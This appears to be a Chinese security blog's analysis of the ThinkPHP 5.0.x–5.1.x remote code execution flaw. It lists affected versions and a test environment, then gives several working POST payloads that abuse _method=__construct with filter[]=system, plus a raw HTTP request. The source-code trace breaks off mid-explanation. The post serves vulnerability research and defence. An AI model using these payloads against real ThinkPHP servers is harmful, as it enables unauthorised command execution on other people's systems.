TP5RCE代码执行漏洞分析(5.0.0

ThinkPHP 漏洞分析代码审计

Word count: 928Reading time: 4 min

 2021/09/02   Share

漏洞简介

漏洞存在版本：5.0.0<=ThinkPHP5<=5.0.23,5.1.0<=ThinkPHP<=5.1.30，在开启debug模式的情况下(默认不开启)，传入payload可以修改Request类的成员变量，控制filter，和server[REQUEST_METHOD]最后在filterValue中的call_user_func造成任意代码执行

漏洞复现环境

php7.4.11
apache2
ThinkPHP5.0.23

1	server%5BREQUEST_METHOD%5D=dir&_method=__construct&filter%5B%5D=system

部分payload

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞分析

数据包

POST / HTTP/1.1
Host: 192.168.1.10
Content-Length: 70
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.10
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.10/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

server%5BREQUEST_METHOD%5D=dir&_method=__construct&filter%5B%5D=system

发送数据包后进入start.php的APP::run()->send()方法

然后跟进到thinkphp/library/think/App.php中进行模块/控制器绑定，默认语言加载、系统语言包，在未设置调度信息进行URL路由检测，调用的是self::routeCheck

在Route::check中进行路由获取

在check方法中调用了$request->method()获取$_SERVER[REQUEST],method方法是关键所在

由于$method默认是false，因此进入第二个分支，先从config文件中获取var_method的值，翻看config.php文件

得到var_method对应的是_method,而$this->method获取的是$_POST[_method]的大写，因此是我们传入的__construct的大写，即__CONSTRUCT,由于没有对$method进行过滤，因此调用了Request类的构造方法,传入变量是$_POST变量